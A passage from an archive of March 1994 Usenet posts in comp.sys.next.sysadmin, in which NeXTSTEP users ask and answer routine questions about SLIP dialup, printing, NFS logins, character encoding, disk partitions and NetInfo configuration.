One solution I guess is to kill the pnirun after the link is brought down and
only have periodicpoll bring the connection up when pnirun is booted. If this
is the case then it would be nice if the pid was written to /etc/pni/pnirun.pid.
Yes, I can take care of that myself.
Is that now that scheme we have to adopt?
It would also appear that we have to use the FILTER encapsulator to enforce
inactivity timeouts. Now, what I would like to know is when is the FILTER
encapsulator is actually in use? For instance, "inactivity" in dialupip wasn't
obeyed until you were actually successfully connected. I'd like to know
if the FILTER encapsulator can trigger it's inactivity action if a login is
taking longer than INPUT_ACT_INTERVAL.
On the whole I throughly agree with the approach taken by making the
configuration more generalized. However, I think it's necessary to provide
a unix interface that brings up the connection and brings down the connection.
Please let me know if I'm missing something.
----
I don't want Dial On Demand behaviour I just want the link to be
brought up _only_ when I tell it to, preferably via unix so that
cron is in use.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: TransSys-PNI-1.7-beta.tar.gz questions. (trans?)
Date: 2 Mar 1994 14:45:30 -0000
Organization: me organized? That's a joke!
Message-ID: <2l28qa$rm@steffi.demon.co.uk>
References: <2l241b$19n@steffi.demon.co.uk>
Oh and one other important question.
How do we get /usr/dialupip/log/trans or is the FILTER responsible for
that?
I had previously been capturing the MOTD that my host puts up during a
login session. They use the MOTD to provide status information.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: command line not fully functional?
Date: 2 Mar 1994 15:03:43 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2l29sfINNaok@no-names.nerdc.ufl.edu>
Hello,
I encountered a problem last night when I (for the first time)
tried to write a service for TickleServices. I sent e-mail to the
TickleServices mailing list (and received some good responses), but I'm
pretty sure now that this is not related to TickleServices. I think that
something is screwed up with my commandline environment.
Here's the situation: I am running NS3.1 on a non-Turbo slab. I
use Stuart 2.3.3 (great program!) as my terminal window and am running
tcsh (I don't know what version. one of the later ones). There are a few
notices of the problem.
1) The first has to do with printing. Here is an actual sequence of
commands
>apeiron> lpr fred.txt
>apeiron> lpq
>Printing
>Rank Owner Job Files Total Size
>active statman 194 fred.txt 598 bytes
>apeiron> lpq
>no entries
>apeiron>
But nothing gets printed. This still happens if I specify
apeiron> lpr -PLocal_Printer fred.txt
I get the same sequence.
2) The second has to do with the open command. Typing
apeiron> open fred.txt
works fine. It opens the file "fred.txt" in Edit.app. However, this
command doesn't work...
apeiron> open -p fred.txt
open: can't open connection to Edit on local host.
3) Lastly (I think), when I try to use
apeiron> Edit.app
/NextApps/Edit.app: Permission denied.
apeiron>
I checked all of the permissions and they seem fine. I have Edit.app in
my dock and it runs without a problem. Here are the permissions
>drwxr-xr-x 3 root wheel 1024 Apr 30 1993 Edit.app/
and then
>-rwxr-xr-x 1 root wheel 364120 Apr 6 1993 Edit*
>drwxr-xr-x 15 root wheel 1024 Apr 30 1993 English.lproj/
>-r--r--r-- 1 root wheel 1518 Apr 22 1992 cfile.tiff
(all of the other .tiff files are the same as cfile.tiff).
Can someone give me an indication based on this info about what's
happening? I don't know what else would be helpful. All help is greatly
appreciated. (Usually, I have to post twice to get a response and most of
the time that's okay. I'm happy to get any response. :-) However, I'm
hoping that because of the severity of the problem that someone will be
able to respond to this post instead of the next one. :-)
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
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Univ. of Florida Pres: G-ville NeXT Users Group
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: NG 75.0
Message-ID: <1994Mar2.143311.227@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Wed, 2 Mar 1994 14:33:11 GMT
I am having serious problems with NewsGrazer 75.0. The entire
application freezes in less than a minute after launching it. Any
ideas? Please e-mail...obviously...
Thanks,
Robert
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
Newsgroups: comp.sys.next.sysadmin
From: newman@string.harvard.edu (Michael Newman)
Subject: Urgent network problem ... help needed
Message-ID: <CM1nJs.G76@das.harvard.edu>
Sender: usenet@das.harvard.edu
Organization: Division of Applied Sciences, Harvard University
Date: Wed, 2 Mar 1994 15:40:39 GMT
I would appreciate any help with the following problems, which may or may
not be related.
We have a small network of black hardware: a cube server and four client
slabs.
1) After I altered some details of imported and exported directories on
two of the clients, users other than root can no longer log into them.
(But the other two clients are still fine.)
If I log in as root on the client and su to newman, it says
>No shell
If I try to rlogin to the client from the server, I get the error message
>No directory /Net/string/mesa/home/newman!
>Connection closed.
If anyone tries to log in on the client at the loginwindow, the disk spins
for a second and then the loginwindow reappears.
However, I am able to ftp to the client.
We have tried restoring the /etc/netinfo/ on the server from a recent
backup, and this appears to make no difference. (Similarly on the client.)
2) Sometimes (but not always) when rebooting the client, the message
appears
>NFS getattr failed for server string: RPC: authentication error
Shortly afterwards, on the server, we see four copies of the message
>nfs_server: weak authentication, source IP address=128.103.101.37
This IP address corresponds to the client.
3) If I log in as root on the client, there are *three* home directories
out of around 30 that I cannot access through the File Viewer. If I click
on one of these, the Workspace Manager crashes, and prompts me to save
files before logging me out. The corresponding error message in
/usr/adm/messages is
>WM[148] NFS read error 13 on pagein
>-[140] loginwindow. Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0
We have been frantically trying for a day to get things working again. Any
suggestions would be appreciated. More info available on request.
Please reply by email to
newman@string.harvard.edu (NeXTmail OK)
From: mickey@shiva.UU.NET (Mickey Lasky)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTMail picture sizes?
Date: 2 Mar 1994 16:44:52 GMT
Organization: UUNET Communications
Distribution: world
Message-ID: <2l2fq4$iqr@news.UU.NET>
What are the limitiations or the dimensions for the size of the pictures`
we can use for mail. I got the pictures to come up, mostly. Some of them are just
blank squares. I am using directory icons just for test purposes, but would like
to know the full size range I have to play with so I can crop other pictures...
=====================================================
Mickey Lasky uunet!mickey
Technical Support Rep. mickey@uunet.uu.net
UUNET Technologies 703-204-8000
Falls Church, VA. 202-424-0453
=====================================================
dokk@atreides.home.uu.net (NeXTMail)
Newsgroups: comp.sys.next.sysadmin
From: martin@initiera.upnet.se (Martin Wennerberg)
Subject: NeXT <-> ISO 8859 encoding
Message-ID: <1994Mar2.170226.23688@sics.se>
Sender: news@sics.se
Organization: Swedish Institute of Computer Science, Kista
Date: Wed, 2 Mar 1994 17:02:26 GMT
Hello,
I frequently have problems with national character in communication with
non NEXTSTEP systems. Anyone know of any translation, filter or services
tools that might help?
Thanks
/Martin
__________________________________________________________
Martin Wennerberg
Initiera Systemdesign AB. Box 20 161, 161 02 Bromma, Sweden
Distributor of NEXTSTEP in the Nordic and Baltic countries
email: martin@initiera.upnet.se (NeXTmail welcome)
phone: +46 8 635 30 00
fax: +46 8 98 70 67
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 2G disks with release 3.2
Date: 2 Mar 1994 17:07:17 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2l2h45$60h@quartz.ucs.ualberta.ca>
References: <1994Mar1.132800.19649@urz.unibas.ch> <2l031t$h7o@rosie.next.com>
MarkG.Tacchi wrote:
: In article <1994Mar1.132800.19649@urz.unibas.ch> writes:
: > I am about to purchase a 2G disk for a black NeXT server running 3.2. I
: > have seen posts claiming that this disk cannot be formated and used as a
: > single partition. If this is so, what is the largest partition size
: > supported by release 3.2?
: The maximum size for a Unix partition is 2^31 bytes or 2Gb. Disks larger than
: 2Gb must be partitioned.
: -Mark
Remember however that that's 2 GB formatted. With the usual formatting
losses, this will be about 2.2 GB unformated.
Example:
disk label: UntitledDisk
disk name: FUJITSU M2654S-512-512
disk type: fixed_rw_scsi
ncyls 2179 ntrack 21 nsect 44 rpm 3600
sector_size 1024 front_porch 160 back_porch 0
ngroups 0 ag_size 0 ag_alts 0 ag_off 0
boot blocks: #1 at 32 #2 at 96
bootfile: sdmach
host name: arafel
root partition: a
read/write partition: b
part base size bsize fsize cpg density minfree newfs optim
a 0 2006867 8192 1024 16 4096 10% yes time
So this one raw is 2179 * 21 * 44 = 2013396
The size of the critter formatted = 2006867
as a raw device
=>df /dev/sd3a
Filesystem kbytes used avail capacity Mounted on
/dev/sd3a 1969856 1412652 360218 80% /u/home
And as a file system it's 1969856.
Remember too that many manufacturers are guilty of using GB to mean 10^9
bytes, not 2^30 bytes, about a 7% difference.
If it's a good price for the disk, buy it: If it doesn't turn out that
you can use quite all of it, set up the remainder as a spare swap
partition.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein)
Newsgroups: comp.sys.next.sysadmin
Subject: poppassd for Eudora on NeXT
Date: 2 Mar 1994 18:46:50 GMT
Organization: WHU Koblenz
Message-ID: <2l2muq$buv@obelix.WHU-Koblenz.de>
Hello,
has anybody succesfully compiled & installed the poppassd daemon on a
NeXT?
This should serve changing a user password (of a POP account) from Edura.
It has to use passwd on the NeXT of course (instead of manipulating
/etc/passwd). There a two such programs included in Edura but none works
for me!
Thank you for any clues,
Wolfgang
--
Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173
Wolfgang Roeckelein Fax: +49 261 6509 179
WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de
Burgplatz 2 (NeXTmail ok)
D-56179 Vallendar
Germany
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: wave@media.mit.edu (Michael B. Johnson)
Subject: Re: Apple Laserwriter Pro 630
Message-ID: <1994Mar1.165107.6908@news.media.mit.edu>
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
References: <2kvikf$cqp@homer.cs.mcgill.ca>
Date: Tue, 1 Mar 1994 16:51:07 GMT
In article <2kvikf$cqp@homer.cs.mcgill.ca> ramesh@cs.mcgill.ca (Ramesh SOMALINGAM) writes:
>>We have a Apple Laserwriter Pro 630 on our network and I'm trying to add
>>it to netinfo, but I'm unable to find the Printer description file for this
>>model, does anyone know where I can get the relevant 'ppd' file? Thanks
>>in advance.
>>--
>>
You can always grab ppd files and afm files from ftp.adobe.com. They
also have a mail server, but I don't know how to get to it off the top
of my head...
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From: gisli@dalembert.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT <-> ISO 8859 encoding
Date: 02 Mar 1994 19:10:29 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <GISLI.94Mar2141029@dalembert.eecs.umich.edu>
References: <1994Mar2.170226.23688@sics.se>
In-reply-to: martin@initiera.upnet.se's message of Wed, 2 Mar 1994 17:02:26 GMT
>>>>> "MW" == Martin Wennerberg <martin@initiera.upnet.se> writes:
MW> I frequently have problems with national character in
MW> communication with non NEXTSTEP systems. Anyone know of any
MW> translation, filter or services tools that might help?
Yes, try the 'recode' program from GNU. You may find it on
prep.ai.mit.edu somewhere in /pub/gnu.
recode latin1:nextstep somefile
reencodes somefile in place but recode may also be run as a filter.
This program knows more encoding schemes than I would have believed
existed.
Gisli
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Gisli Ottarsson
Grad Student and a Gentleman
Delenda est Carthago.
University of Michigan
gisli@umich.edu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Accentcharacters in Terminal
Date: 2 Mar 1994 18:16:13 GMT
Organization: mal franz, mal anna
Message-ID: <2l2l5d$8kd@brachio.zrz.TU-Berlin.DE>
References: <2l1tnm$cse@dyggve.ifi.uio.no>
Apparently-To: <koen1830@w203zrz.zrz.TU-Berlin.DE>
In article <2l1tnm$cse@dyggve.ifi.uio.no>,
Arne Christian Haarseth <arneha@ifi.uio.no> wrote:
>
>How do I get the accentcharacter-keys to work in Terminal (they produce
>alphabetic-letters in stead. I suspect it might be so because Terminal
>is running in 7-bit mode, so then how do I get Terminal to run in
>8-bit mode ?) ?
>
>(I need to produce "~" and "^" in Emacs, and when using tip to log into a
>Unixsystem that can handle commands like "cd ~user").
tilde and asciicircum are not 8bit characters. I suspect all you want
is a different setting of the ALT-Key. Try Info-> Preferences-> "VT100
Emulation"-> "Alternate key generates special characters" in
Terminal.app.
If you really want 8bit 8bit, you find a fine patched tcsh for the
NeXT on
ftp.cs.TU-Berlin.DE in the directory
/pub/NeXT/gnu-bin/tcsh.m68k.umlaut.tar.gz.
>
>Arne (arneha@ifi.uio.no)
Andreas, with an 8bit family name (sigh!)
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: Partial Sol'ns, but still looking (Re: command line not fully functional?)
Date: 2 Mar 1994 18:31:56 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2l2m2sINNdl2@no-names.nerdc.ufl.edu>
References: <2l29sfINNaok@no-names.nerdc.ufl.edu>
Hello,
Hal Brokaw just sent me a message that cleared up the last two
problems (although he didn't know it cleared up both :-). It turns out
that they are related, but it's still unknown if the first one is related
or not. The problem is that when Edit became Edit.app, the executable is
no longer in the path. You can fix the third problem by saying
apeiron> /NextApps/Edit.app/Edit &
and now that I think about it this has probably been discussed a number of
times before.
Well, this is also what's causing the second problem. "open -p"
is trying to connect with Edit and can't find it. Again, because it's not
in the path. There isn't an option to "open" to fix this, but you could
fix this by placing /NextApps/Edit.app in the path. Not pretty, but it
works.
I still don't know why I can't print, though. Any ideas? Thanks.
In article <2l29sfINNaok@no-names.nerdc.ufl.edu> statman@stat.ufl.edu (me)
writes:
[munch]
> Here's the situation: I am running NS3.1 on a non-Turbo slab. I
> use Stuart 2.3.3 (great program!) as my terminal window and am running
> tcsh (I don't know what version. one of the later ones). There are a
> few notices of the problem.
>
> 1) The first has to do with printing. Here is an actual sequence of
> commands
>
> >apeiron> lpr fred.txt
> >apeiron> lpq
> >Printing
> >Rank Owner Job Files Total Size
> >active statman 194 fred.txt 598 bytes
> >apeiron> lpq
> >no entries
> >apeiron>
>
> But nothing gets printed. This still happens if I specify
>
> apeiron> lpr -PLocal_Printer fred.txt
>
> I get the same sequence.
>
> 2) The second has to do with the open command. Typing
[munch]
> apeiron> open -p fred.txt
> open: can't open connection to Edit on local host.
>
> 3) Lastly (I think), when I try to use
>
> apeiron> Edit.app
> /NextApps/Edit.app: Permission denied.
> apeiron>
[munch]
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: sweberg@garfield.wes.army.mil (Scott D. Weberg)
Newsgroups: comp.sys.next.sysadmin
Subject: Print server??? Help!
Date: 2 Mar 1994 20:49:45 GMT
Organization: USACE Waterways Experiment Station
Message-ID: <2l2u59$pvh@Joanna.Wes.Army.Mil>
Hello!
My boss has a NextStation Color with a Next 400dpi printer. He recently
bought a PC running NextStep, but has no printer with the PC. So he wants
me to set it up so that he can print from his PC, using the Station and
it's printer.
I looked in the System Admin manual, and it seems like the Station would
have to be set up as a NetInfo Server to become a print server. But my
boss' PC is residing on a local ethernet network, and the Station is also
just running as a workstation on the local non-NetInfo network. I don't
know if I want to go thru the hassle of setting up a NetInfo network for
the 2 machines - I don't even know if it is possible to have the PC on a
NetInfo network AND the regular local network!
Could someone give me some suggestions as to how I can get a PC running
NextStep to print on a NextStation's printer? Do I have to set up a
NetInfo network to accomplish this? Any help will be greatly appreciated!
Thanks!
Scott D. Weberg
Waterways Experiment Station
Army Corps of Engineers
Newsgroups: comp.sys.next.sysadmin
From: crespo@hpvcric.vcd.hp.com (Ivan F. Crespo)
Subject: printer socket
Sender: news@vcd.hp.com (News user)
Message-ID: <CM2By4.CGv@vcd.hp.com>
Date: Thu, 3 Mar 1994 00:27:39 GMT
Organization: Hewlett-Packard VCD
All of the sudden my home box running NSFIP has sopped printing and I
tracked the problem to the fact that the /dev/lpd/printer socket is
missing. I have not been able to find any documentation on how to recreate
this socket so I'm asking for any pointers you folks might have...
i.
--
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: NS3.2 /usr/lib/transcript into NS3.1...Okay?
Date: 2 Mar 1994 20:56:48 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2l2uigINNfoe@no-names.nerdc.ufl.edu>
References: <2l2m2sINNdl2@no-names.nerdc.ufl.edu>
Hello,
I was having a problem printing from the command line. I would say
apeiron> lpr fred.txt
and nothing would happen. Well, I finally looked in /usr/adm/lpd-errs
and I was getting
>Mar 2 15:15:29 apeiron Server:Local_Printer[3001]: apeiron:statman -
start
>/usr/bin/enscript: could not locate AFM file for Courier-Bold
>Mar 2 15:15:32 apeiron Server:Local_Printer[3001]: apeiron:statman - end
So after some investigating I came to the conclusion that I was missing
/usr/lib/transcript in my NS3.1 version of the software. So I popped in
the NS3.2 user CD (I haven't had a chance to upgrade) and copied the
directory over from CD to hard drive. Voila! I could print. Very nice.
I post this for three reasons. The first is to apologize for the
earlier bandwidth. The second is to let others know that this is a
problem. (Unless of course the rest of the world has moved to NS3.2
already!) And lastly, to ask if there are any problems with this
solution. I suppose I might find them out eventually, but being prepared
is probably a good thing.
Any info or hints?
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: command line not fully functional?
Date: 2 Mar 1994 21:55:18 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2l3206$hni@quartz.ucs.ualberta.ca>
References: <2l29sfINNaok@no-names.nerdc.ufl.edu>
Charles D. Kincaid (statman@stat.ufl.edu) wrote:
: 1) The first has to do with printing. Here is an actual sequence of
: commands
: >apeiron> lpr fred.txt
: >apeiron> lpq
: >Printing
: >Rank Owner Job Files Total Size
: >active statman 194 fred.txt 598 bytes
: >apeiron> lpq
: >no entries
: >apeiron>
: But nothing gets printed. This still happens if I specify
: apeiron> lpr -PLocal_Printer fred.txt
Run lpc status
and see if the printer is up. What is the status reported by
PrinterManager for this printer? Check the ownership and permissions of
the print spool path.
: 2) The second has to do with the open command. Typing
: apeiron> open -p fred.txt
: open: can't open connection to Edit on local host.
The -p option doesn't work for a lot of applications. For those that
do, the app must already be running.
: 3) Lastly (I think), when I try to use
: apeiron> Edit.app
: /NextApps/Edit.app: Permission denied.
: apeiron>
You don't run Edit.app It's a directory,not a program.
If you want to start from the command line, you would either
have to put /NextApps/Edit.app on your path, or you would have to
specify the full path /NextApps/Edit.app/Edit
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: MichaelCullen@symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: Slip, CSLIP and PPP
Date: Wed, 2 Mar 1994 16:25:13
Organization: Symantec/Peter Norton Group
Message-ID: <MichaelCullen.2.00106C17@symantec.com>
Hey there
I have a NeXT '040 mono slab. I would like to know if there are any PPP
or CSLIP client packages out there for it.
Also, what is a good compression package to open up SLIPCommander.3.2.tar.gz
(I realize this is probably a stupid question, oh well).
Thanks
Michael Cullen
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: README: NewsGrazer Problem Solved
Message-ID: <1994Mar2.182024.854@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Wed, 2 Mar 1994 18:20:24 GMT
The culprit seems to be the Xref header in this article:
>Path:
>esplanade!merk!spdcc!das-news.harvard.edu!noc.near.net!MathWorks.Com!e
uropa.eng.gtefsd.com!howland.reston.
ans.net!cs.utexas.edu!not-for-mail
>From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)>Newsgroups: comp.sys.next.misc
>Subject: Re: Isn't anyone interested in energy saving?
>Date: 1 Mar 1994 13:18:54 -0600
>Organization: UTexas Mail-to-News Gateway
>Lines: 27
>Sender: daemon@cs.utexas.edu
>Message-ID: <9403011920.AA01187@dcs.shef.ac.uk>
>Reply-To: M.Crawford@dcs.shef.ac.uk
>NNTP-Posting-Host: cs.utexas.edu
>Xref: news.shef.ac.uk comp.sys.next.misc:32600
>comp.sys.next.software:10130 comp.sys.next.advocacy:15171
I fixed it by deleting the article. It's ironic that the message was
about "saving energy". I did manage to save a lot of energy not
reading news... :-)
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
From: srs@panix.com (Scott R. Schreiman)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: Help! Routing info for slip?
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc
Date: 2 Mar 1994 21:54:28 -0500
Organization: somewhere, sometime, somehow
Message-ID: <2l3jh4$rem@panix2.panix.com>
References: <CM0Mv2.Lu2@world.std.com>
David Wells (dwells@world.std.com) wrote:
: Hi all,
: I'm hoping this works...'vi' hates me...
: Anyway, I'm trying to connect my NeXT/unix box to the net via tiac via slip.
: I'm able to get connectied and use ping and finger, but the interactive
: utilities like ftp and telnet don't work after the 'connected to foo.bar.edu'
: message. Lynn at tiac thinks this is a routing problem, and I'm inclined to agr
: ee with her from what little I know about networking. Problem is, I don't
: know how to fix this. If anyone has suggestions, I'd love to hear them. Thanks
: in advance. Peace,
: Dave
My networking experience is also somewhat lacking, but I have been having
the exact same problem getting up on slip at Panix. I am using Louis
Mamakos' dialup ip. I am still running on 3.0 black. Anyway, my login stuff
works ok, I get the connection, netstat works and things seem ok. I can also
ping at domain names and finger others. But the interactive programs also
crash and burn. I have been told that this means the DNS is working
(obviously) and that UDP packets also get through, TCP packets don't.
Without and prior knowledge of my setup, the tech person at panix suggested
that I turn on CSLIP, because (it seems) the Annex slip server they use
chokes on uncompressed headers. I haven't yet purchased the cslip upgrade
from TranSys, so I haven't been able to test that theory. It sounds good
though. I wonder if that is the same problem you are having. In short, it
may not be a routing problem; but if anyone who actually has a clue wishes
to comment, I know I would appreciate it also!
Scott
--
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srs@panix.com | New York, NY 10025 | be mine: Who else wants them?
NeXTMail preferred | Tel: (212) 668 1539 | * Finger for PGP Public Key *
----------------------------------------
"Now I have great difficulty in making you understand my answer to this.
For if I tell you that this would be a disobedience to a divine command,
and therefore that I can not hold my tongue, you will not believe that I
am serious; and if I say again that the greatest good of man is daily to
converse about virtue, and all that concerning which you hear me examining
myself and others, and that the life which is unexamined is not worth
living - that you are still less likely to believe."
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: thsscvc@iitmax.iit.edu (Chris Conley)
Subject: Archive 150 use on a NeXT
Message-ID: <1994Mar3.022100.30979@iitmax.iit.edu>
Organization: Illinois Institute of Technology / Academic Computing Center
Date: Thu, 3 Mar 94 02:21:00 GMT
Hello,
I am trying to use an Archive Viper 150 tape drive to backup some
files. We pulled the tape drive from an SGI machine. We haven't
changed any of the jumpers and we are using it as an external
scsi tape drive.
We don't have documentation for the drive so we don't know if the jumpers
need to be changed. When we try to write to it, we are getting an
I/O error. The NeXT seems to be talking to it becasue the drives beeps
and buzzes a bit.
Any hints or tips would be much appreciated. The NeXT is running 2.X if
that matters.
Thankyou,
Chris Conley
Chicago
Newsgroups: comp.sys.next.sysadmin
From: grisu (Gernot A. Pohl)
Subject: How to build a ROUTER with netinfo?
Message-ID: <1994Mar2.210722.1988@utata.in-berlin.de>
Keywords: ROUTER
Sender: grisu@utata.in-berlin.de (Gernot Armin Pohl)
Organization: WY
Date: Wed, 2 Mar 1994 21:07:22 GMT
My situation:
I have two ethernetcards plugged in a NS-PC.
I want to communicate with each one to different subnets & form
something like a router.
Did anyone build a router with NeXTSTEPs automatic net interface
configuration? How to build it otherwise?
--
[NeXT-]Mail to grisu@uriela.in-berlin.de
.. viel Spasz!
> Gernot Pohl
\_/ Schoenhauser Allee 5
Newsgroups: comp.sys.next.sysadmin
From: wils4198@hgc.edu (George H. Wilson)
Subject: Re: CAN'T BOOT! More Info.
Message-ID: <1994Mar3.062714.26095@merlin.hgc.edu>
Sender: usenet@merlin.hgc.edu (Action News Central)
Organization: Sometimes
References: <2jjau5$803@hgc.edu>
Date: Thu, 3 Mar 1994 06:27:14 GMT
wils4198@hgc.edu (George H. Wilson) wrote:
>Hi, I hope someone can help!
>
>I have a NeXT Cube 040 running v3.0 I had a disk problem and had to
>run fsck and NOW THE MACHINE WILL NOT BOOT. The last lines to be displayed
>before it freezes are:
>
>Starting standard daemons: update cron
>Mar 2 00:19:56 Localhost: reboot complete
>
>I am able to boot the machine using and OD and NS v2.0 so I can get to my
>hard disk - WHAT FILES SHOULD I LOOK AT?? CAN I FIX THIS OR MUST I RELOAD
>NS V3.0?? You see, the big problem with this is - talk about Murphy's
>Law!!! - my CD-ROM seems to have died too!!! It will not "pull in" the
>caddy!! But where I should take that to get it fixed is another
>question. Could someone please just try to answer the first question?
>I'll worry about fixing the CD-ROM later (unless I need to relaod the OS).
>
>Any help anyone can give would be greatly appreciated!!!
>
Someone told me I should check /usr/adm/messages ...
Here is the offending line:
loginwindow[nnn]: loginwindow: could not find WindowServer port!
where nnn is a a series of numbers (185,186,187) as the message is
repeated many times.
Can anyone tell me what file(s) must be replaced to correct this problem.
I want to avoid replacing many files as:
1) I will probably have to download them from somewhere.
2) I will have to use a DOS floppy to transfer them to the NeXT
All because my CD-ROM is broken too!
--
---------------------------------------------------------------------------
Truth passes through three stages. First, it is
ridiculed. Second, it is violently opposed Jor-Jay
Third, it is accepted as being self-evident. George H. Wilson
Newsgroups: comp.sys.next.sysadmin
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu)
Subject: Mailer problems
Message-ID: <1994Mar3.054642.2005@ncsu.edu>
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU
Date: Thu, 3 Mar 1994 05:46:42 GMT
Greetings, all! I'm loving my new NeXT cube (well, it's new to me), but
there's just two things that's bothering me. One's my 'r' key which works
about 30% of the time... The other is my mailer. I have administrated my
own UNIX system before, but I've never had trouble like this.
I cannot mail to anyone not in my /etc/hosts file. I can mail THROUGH a
machine on there, but if I reply to any mail, it ALWAYS bounces unless I
specifically go through one of the machines in my /etc/hosts file.
I don't know how to explain it better, so I hope you can figure out what I
mean here. If you can offer any suggestions, I'd be most grateful.
Cheers,
Daniel
eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
Newsgroups: comp.sys.next.sysadmin
From: burns@nova.bellcore.com (James E. Burns)
Subject: Re: tip file-transfer = not
In-Reply-To: armes@pioneer.tds.com's message of 1 Mar 1994 05:06:04 GMT
Message-ID: <BURNS.94Mar2230428@wildcat.nova.bellcore.com>
Sender: news@walter.bellcore.com
Organization: Bell Communication Research
References: <2k86uq$b3f@nwfocus.wa.com> <2kuifs$fr1@discovery.ectds.com>
Date: Thu, 3 Mar 1994 04:04:28 GMT
There is a version of tip available from the usual servers that
supports zmodem. Look for "tip_zmodem.tar.Z". This worked for
me (with occasional hangs) before I got SLIP working.
jim burns
--
James E. Burns burns@nova.bellcore.com
Bellcore, NVC-3X114 Off: (908) 758-2819
331 Newman Springs Road Fax: (908) 758-4371
Red Bank, NJ 07701-5699, USA Home: (908) 219-6561
Newsgroups: comp.sys.next.sysadmin
From: trebels@zeus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: netinfo server name change
Message-ID: <7IIMBTDW@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <9403020405.AA01298@nesteggs.com>
Date: Thu, 3 Mar 1994 08:29:02 GMT
Michael E. Crawford (crawford@nesteggs.com) wrote:
[munch]
> This answer changes the existing configuration server's hostname.
[munch]
> Fire up NetInfoManager.app.
> Go through each directory in the network domain & the host's local
> domain and find every, I said every incidence of your host's
> hostname.
[munch]
Hmmmm, I agree your comments on hostconfig, but why don't you just use
nidump -r / / and sed/vi/emacs to change everything (sed only, if you
are confident, your hostname isn't used by the operating system, but
an query-replace in emacs should be safe). I'd use sed to do the
standard part of the job, and diff the two files later. If I like the
result, I can niload the file, there's no change in the domain until
I'm completely satisfied. That's not nice, but IMHO still better than
using NetinfoManager. I would never dare to do it your way, as I'd
certainly miss some occurences!
Regards, Stephan
p.s. what did he say regarding the master move? I expect
1) make the new master a clone server
2) change the master property
3) reboot
4) eventually disconnect the new clone server from the domain
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Slip, CSLIP and PPP
Date: 3 Mar 1994 08:40:22 -0000
Organization: me organized? That's a joke!
Message-ID: <2l47pm$17b@steffi.demon.co.uk>
References: <MichaelCullen.2.00106C17@symantec.com> <2l42br$9oo@times.stanford.edu>
mcafee@Xenon.Stanford.EDU (Christopher C McAfee) wrote in comp.sys.next.sysadmin
>In article <MichaelCullen.2.00106C17@symantec.com>,
>Michael Cullen <MichaelCullen@symantec.com> wrote:
>>Hey there
>>
